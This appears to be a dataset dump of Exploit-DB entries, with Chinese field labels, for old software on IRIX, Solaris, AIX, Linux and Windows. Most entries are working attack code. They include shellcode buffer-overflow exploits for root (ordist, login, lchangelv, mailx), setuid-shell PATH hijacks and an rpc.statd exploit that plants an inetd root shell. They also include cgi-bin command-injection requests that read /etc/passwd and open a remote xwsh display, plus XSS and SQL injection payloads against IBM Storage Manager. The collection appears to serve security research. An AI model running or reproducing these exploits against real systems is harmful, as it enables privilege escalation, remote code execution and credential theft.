QLWD/code_shield huggingface dataset:
标题: XnView 1.98.8 - '.gif' Image Processing Heap Overflow EDB-ID: 19335 CVE: 2012-0282 类型: DOS 平台: WINDOWS 发布日期: 2012-06-22 漏洞利用脚本: #####################################################################################

Application:   XnView GIF Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666  

{PRL}:   2012-18

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
An indexing error when processing the ImageDescriptor structure of GIF images
can be exploited to corrupt memory via a specially crafted "ImageLeftPosition" value.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-18.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37347.gif URL: https://www.exploit-db.com/exploits/19335
标题: Sun Solaris 7.0 - 'procfs' Denial of Service EDB-ID: 19326 CVE: 1999-0417 类型: DOS 平台: SOLARIS 发布日期: 1999-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/448/info

A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:

more /proc/self/psinfo

This is due to a bug in the Solaris 7 procfs. 

%more /proc/self/psinfo

[crash] URL: https://www.exploit-db.com/exploits/19326
标题: SGI IRIX 5.3/6.2 - 'ordist' Local Privilege Escalation EDB-ID: 19317 CVE: 1999-0029 类型: LOCAL 平台: IRIX 发布日期: 1997-05-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/415/info

A buffer overflow exists in the ordist program, as shipped with Irix 6.x and 5.x from Silicon Graphics. By supplying long arguments to the '-d' option, containing a properly crafted buffer of machine exectuable code, root privilege can be obtained. 

#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 306
#define OFFS 800
#define ADDRS 2
#define ALIGN 2

void run(unsigned char *buf) {

  execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
  printf("execl failed\n");
}

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[]="\x24\x0f\x12\x34";

unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}

/* this align stuff sux - i do know. */
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
    printf("Can't malloc\n");
    exit(1);
  }
  *(int *)addr=get_sp()+offs;
  printf("address - %p\n", *(int *)addr);

  strcpy(buf, nop);
  ptr=buf+noplen;
  buf+=noplen-bufsize % noplen;
  bufsize-=bufsize % noplen;

  for (i=0; i<bufsize; i++)
    *ptr++=nop[i % noplen];
  memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
    memcpy(ptr, nop, strlen(nop));
    ptr+=align;
  for (i=0; i<addrs<<2; i++)
    *ptr++=addr[i % sizeof(int)];
  *ptr=0;
  printf("total buf len - %d\n", strlen(buf));

  run(buf);
} URL: https://www.exploit-db.com/exploits/19317
标题: IBM System Storage DS Storage Manager Profiler - Multiple Vulnerabilities EDB-ID: 19321 CVE: 2012-2172 2012-2171 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-06-21 漏洞利用脚本: IBM System Storage DS Storage Manager Profiler Multiple Vulnerabilities


Vendor: IBM Corporation
Product web page: http://www.ibm.com
Affected version: 4.8.6

Summary: Through its extraordinary flexibility, reliability, and performance,
the IBM® System Storage® series is designed to manage a broad scope of storage
workloads that exist in todays complex data center and do it effectively and
efficiently. This flagship IBM disk system can bring simplicity to your storage
environment by supporting a mix of random and sequential I/O workloads for a mix
of interactive and batch applications, regardless of whether they are running on
one of todays popular distributed server platforms or on the mainframe.

Desc: IBM System Storage DS Storage Manager Profiler suffers from an SQL Injection
and a Cross-Site Scripting (XSS) vulnerability. Input passed via the GET parameter
'selectedModuleOnly' in 'ModuleServlet.do' script is not properly sanitised before
being returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code. The GET parameter 'updateRegn' in the
'SoftwareRegistration.do' script is vulnerable to a XSS issue where the attacker can
execute arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache-Coyote/1.1
           MySQL


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Vendor status:

[03.03.2012] Vulnerabilities discovered.
[19.04.2012] Reported vulnerability report to vendor.
[19.04.2012] Vendor acknowledges receipt of the vulnerability report.
[25.04.2012] Asked vendor for confirmation.
[26.04.2012] Vendor confirms the issues, working on mitigation plan.
[01.05.2012] Vendor promises that the updated package will be available in June timeframe.
[05.06.2012] Asked vendor for status update.
[07.06.2012] Vendor replies.
[15.06.2012] Vendor releases fix.
[20.06.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5094
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5094.php

IBM Advisory: https://www.ibm.com/connections/blogs/PSIRT/entry/secbulletin_stg-storage_cve-2012-2171_cve-2012-2172
IBM Fix: http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5090850&brandind=5000008&myns=x008&mync=R

ISS X-Force ID (SQLi): 75236
ISS X-Force URL: http://xforce.iss.net/xforce/xfdb/75236

ISS X-Force ID (XSS): 75239
ISS X-Force URL: http://xforce.iss.net/xforce/xfdb/75239

CVE ID (SQLi): CVE-2012-2171
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2171

CVE ID (XSS): CVE-2012-2172
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2172


03.03.2012

-----

XSS: http://10.1.0.3:9000/SoftwareRegistration.do?updateRegn="><script>alert(1);</script>

SQLi: http://10.1.0.3:9000/ModuleServlet?DeviceId=1&state=state_viewmodulelog&selectedModuleOnly=1[SQL QUERY]&selectedModule=1 URL: https://www.exploit-db.com/exploits/19321
标题: Sun Solaris 2.5.1 - rpc.statd rpc Call Relaying EDB-ID: 19327 CVE: 1999-0493 类型: REMOTE 平台: SOLARIS 发布日期: 1999-06-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/450/info

The rpc service rpc.statd, shipped with all major versions of Sun's solaris, is the status monitoring service for NFS file locking. The vulnerability lies in rpc.statd's ability to relay rpc calls to other rpc services without being validated by the access controls of the other rpc services. This can give the attacker the ability to redirect malicious rpc commands through rpc.statd (which runs as root) to services they may not normally have access to.

/* 
   Developed by some guys who don't want to goto jail when WIPO passes. :) */

/* Bug fixed on Aug 16 16:28:30 GMT 1998. */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <rpcsvc/sm_inter.h>

void 
usage(char *s) 
{
  printf ("Cache name is the hostname of the remote system.\n");
  printf ("For example, blue.net, might be either blue or blue.net.\n\n");
  printf ("Usage: %s hostname <cachename> <command>\n", s);
  exit (0);
}

int
main (int argc, char *argv[]) 
{
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct stat_chge ntf_arg;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd;
 
  char attack[1024];

  if (argc < 3)
    usage(argv[0]);

  if (argc==4)
   sprintf(attack, ";%s", argv[3]);
  else
 sprintf(attack, "; echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &");
 
  memset(&monreq, 0, sizeof(monreq));

  monreq.mon_id.my_id.my_name = argv[2];  
  monreq.mon_id.my_id.my_prog = (unsigned long) 100099; 
  monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  monreq.mon_id.my_id.my_proc = (unsigned long) 1; 
  monreq.mon_id.mon_name = attack; 
  monreq.priv[0] = '/';  

  memset(&ntf_arg, 0, sizeof(ntf_arg));

  ntf_arg.mon_name = attack;   
  ntf_arg.state = 1;     

  if ((hp = gethostbyname (argv[1])) == NULL) 
  {
    printf ("Couldnt resolve %s!\n", argv[1]);
    exit (-1);
  }

  target.sin_family = AF_INET;
  target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  target.sin_port = 0;
  sd = RPC_ANYSOCK;

  tm.tv_sec = 10;
  tm.tv_usec = 0;

  if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) 
  {
    clnt_pcreateerror("clnt_create");
    exit (-1);
  }

  stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
    (char *)&monres, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call"); 
  else 
    printf("stat_res = %d.\n", monres.res_stat);

  stat=clnt_call(cl, SM_NOTIFY, xdr_stat_chge, (char *)&ntf_arg, xdr_void,
    NULL, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");

  clnt_destroy(cl);
  exit (0);
} URL: https://www.exploit-db.com/exploits/19327
标题: SGI IRIX 6.4 - 'netprint' Local Privilege Escalation EDB-ID: 19313 CVE: 1999-1120 类型: LOCAL 平台: IRIX 发布日期: 1997-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/395/info


A vulnerability exists in the netprint program, shipping with Irix 6.x and 5.x by Silicon Graphics. The netprint program calls the "disable" command via a system() call, without specifying an explicit path. Therefore, any program in the path named disable can be executed as user lp.

% cat > /tmp/disable
cp /bin/sh /tmp/lpshell
chmod 4755 /tmp/lpshell
^D
% set path=(. $path)
% netprint -n blah -h blah -p blah 1-234
% /tmp/lpshell

However, one can go further if BSD printing subsystem is installed. /usr/spool/lpd is owned by lp, and it's the place where lpd writes lock file. lpd is also root/suid. So one replaces /usr/spool/lpd/lpd.lock with a symlink to /etc/passwd and runs lpd, passwd gets nuked. Then one repeats netprint trick, and, voila, disable now runs as root, because lp is not found in passwd. Kinda neat. URL: https://www.exploit-db.com/exploits/19313
标题: SGI IRIX 6.4 - 'inpview' Local Privilege Escalation EDB-ID: 19304 CVE: 1999-1461 类型: LOCAL 平台: IRIX 发布日期: 1997-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/381/info


The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root. 


% cat > /tmp/ttsession
#!/bin/sh
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
^D
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell
# URL: https://www.exploit-db.com/exploits/19304
标题: RedHat Linux 4.2 / SGI IRIX 6.3 / Solaris 2.6 - 'mailx' (1) EDB-ID: 19311 CVE: 1999-0125 类型: LOCAL 平台: LINUX 发布日期: 1998-06-20 漏洞利用脚本: // source: https://www.securityfocus.com/bid/393/info

A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. 

/*
 * mailxploit.c (Linux/i386)
 * Sat Jun 20 00:47:59 CEST 1998
 * Alvaro Martinez Echevarria <elguru@lander.es>
 * Exploit a buffer overrun in mailx using the environment variable
 * $HOME, to acquire "mail" group privileges (assuming that mailx
 * is installed setgid mail).
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/*
 * The location of mailx.
 */
#define MAILX  "/usr/bin/mail"
/*
 * The gid for group mail (represented in a char, in hexadecimal).
 */
#define GID    "\x08"

#define DEFAULT_OFFSET                 2000
#define DEFAULT_BUFFER_SIZE            1124
#define NOP                            0x90

char shellcode[] =
  /* seteuid(GID); setreuid(GID,GID); */
  "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
  "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
  /* generic shell code by Aleph One */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long
get_sp(void) {
   __asm__("movl %esp,%eax");
}

int
main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  addr = get_sp() - offset;
  if ((buff=(char *)malloc(bsize))==NULL) {
    fprintf(stderr,"error in malloc()\n");
    exit(1);
  }

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
  buff[bsize - 1] = '\0';

  setenv("HOME",buff,1);
  execl(MAILX,MAILX,"-n","-f","~/patata",NULL);

  exit(0);

} URL: https://www.exploit-db.com/exploits/19311
标题: RedHat Linux 4.2 / SGI IRIX 6.3 / Solaris 2.6 - 'mailx' (2) EDB-ID: 19312 CVE: 1999-0125 类型: LOCAL 平台: LINUX 发布日期: 1998-06-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/393/info
 
A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail.

// this is nothing special, it allows you to read files that are
// readable by the group 'mail'.
// feedback: segv <dan@rtfm.net>

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void usage(char *prog);

void main(int argc, char *argv[])
{
        char buffer[1024];
        int fd, bytes;

        if(argc != 3)
                usage(argv[0]);

        if((strcmp(argv[1],"-c")))
                usage(argv[0]);
        else {
                if((fd=open(argv[2],O_RDONLY)) == -1) {
                        perror("open");
                        exit(1);
                }
                while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
                        write(1,buffer,bytes);

                close(fd);
        }
        exit(0);
}

void usage(char *prog)
{
        fprintf(stderr,"this program should be invoked by mailx\n");
        fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
        fprintf(stderr,"name of this program.\n");
        exit(1);
} URL: https://www.exploit-db.com/exploits/19312
标题: SGI IRIX 6.4 - cgi-bin handler EDB-ID: 19303 CVE: 1999-0148 类型: REMOTE 平台: MULTIPLE 发布日期: 1997-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/380/info

A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.

telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0

or:

telnet target.machine.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download

NOTE: large spaces are actually tabs. URL: https://www.exploit-db.com/exploits/19303
标题: SGI IRIX 6.4 - 'login' Local Privilege Escalation EDB-ID: 19310 CVE: 1999-0036 类型: LOCAL 平台: IRIX 发布日期: 1997-05-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/392/info

A buffer overflow exists in the /bin/login program supplied by Silicon Graphics, as part of their Irix operating system. By supplying a carefully crafted, log buffer to the -h option of login, a local user can obtain root privileges.
*/

/* /bin/login exploit by DCRH 24/5/97
 *
 * Tested on:   R3000 Indigo (Irix 5.3)
 *              R4400 Indy (Irix 5.3)
 *              R5000 O2 (Irix 6.3)
 *              R8000 Power Challenge (Irix 6.2)
 *
 * Compile as: cc -n32 login.c     (for Irix 6.x)
 *             cc login.c          (for Irix 5.x)
 *
 * Press enter when prompted for a password
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      200
#define EXTRA           300
#define OFFSET          0x1b0
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
      targ_addr += atoi(argv[1]);

    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
      targ_addr += 4;

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 24) | (targ_addr >> 8);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/bin/login", "login", "-h", &buf[1], 0, env);
    perror("execl failed");
} URL: https://www.exploit-db.com/exploits/19310
标题: IBM AIX 4.2 - '/usr/sbin/lchangelv' Local Buffer Overflow EDB-ID: 19309 CVE: 1999-0122 类型: LOCAL 平台: AIX 发布日期: 1997-07-21 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/389/info

A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv.

Because lchangelv is SUID root, this overflow will grant the attacker root privileges.
*/

/*
 *
 *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V
 *
 *   CREDITS: this is simply a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   NOTES: you must have gid or egid of (system) to run this.
 *
 *   USAGE:
 *            $ cc -o foo -g aix_lchangelv.c
 *            $ ./foo 5100
 *            #
 *
 *
 *   HINT: Try giving ranges from 5090 through 5500
 *
 *   DISCLAIMER: use this program in a responsible manner.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
        0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
        0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
        0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
        0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
        char *c;
        int l;

        l=strlen(name)+strlen(value)+4;
        if (! (c=malloc(l))) {perror("error allocating");exit(2);};
        strcpy(c,name);
        strcat(c,"=");
        strcat(c,value);
        putenv(c);
        return c;
}

main(int argc,char **argv,char **env)
{
        unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
        int min=100, max=280;
        unsigned int return_address;
        char *newenv[8];
        char *args[4];
        int offset=3200;

        if (argc==2) offset = atoi(argv[1]);

        pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

        *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
        *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
        *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
        *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

        return_address=(unsigned)&buf[0]+offset;

        for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
        strcpy((char*)&buf[nop],(char*)&code);
        i=nop+strlen( (char*) &code)/4-1;

        for(i=0;i<max-1;i++) frame[i]=return_address;
        frame[i]=0;

        newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
        newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
        newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
        newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
        newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
        newenv[5]=NULL;

        args[0]="lchangelv";
        args[1]="-l";
        args[2]=(char*)&frame[0];
        execve("/usr/sbin/lchangelv",args,newenv);
        perror("Error executing execve \n");
} URL: https://www.exploit-db.com/exploits/19309